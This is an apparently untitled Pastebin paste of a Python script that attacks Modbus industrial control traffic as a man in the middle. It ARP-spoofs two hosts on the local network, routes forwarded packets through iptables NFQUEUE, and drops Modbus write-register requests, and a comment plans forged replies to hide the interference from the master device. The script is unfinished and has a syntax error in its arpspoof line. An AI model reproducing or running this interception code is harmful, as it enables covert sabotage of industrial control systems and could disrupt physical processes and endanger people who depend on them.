Guest User

Untitled

a guest
Nov 23rd, 2017
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.07 KB | None | 0 0
  1. import nfqueue
  2. from scapy.all import *
  3. load_contrib('modbus')
  4. import os
  5.  
  6. # MITM rules :
  7. MITM = "iptables -A FORWARD -j NFQUEUE"
  8.  
  9. print("Adding rules :")
  10. print(MITM)
  11. os.system(MITM)
  12. os.system("sysctl net.ipv4.ip_forward=1")
  13. os.system("arpspoof -i eth0 -t 192.168.1.33 -r 192.168.1.55" &)
  14.  
  15. def callback(payload):
  16. data = payload.get_data()
  17. pkt = IP(data)
  18. if ModbusPDU06WriteSingleRegisterRequest in pkt:
  19. # Drop packets with write request...
  20. print("Write request packet from: " +str(pkt.src))
  21. #pkt.show()
  22. payload.set_verdict(nfqueue.NF_DROP)
  23. ###
  24. ### Here I want send response packet to not to break connection making by master###
  25. ###
  26. else:
  27. # Not to touch packets
  28. payload.set_verdict(nfqueue.NF_ACCEPT)
  29.  
  30. def main():
  31. q = nfqueue.queue()
  32. q.open()
  33. q.bind(socket.AF_INET)
  34. q.set_callback(callback)
  35. q.create_queue(0)
  36. try:
  37. q.try_run()
  38. except KeyboardInterrupt:
  39. q.unbind(socket.AF_INET)
  40. q.close()
  41. print("Turning off iptables...")
  42. os.system('iptables -F')
  43. os.system('iptables -X')
  44. main()
Add Comment
Please, Sign In to add comment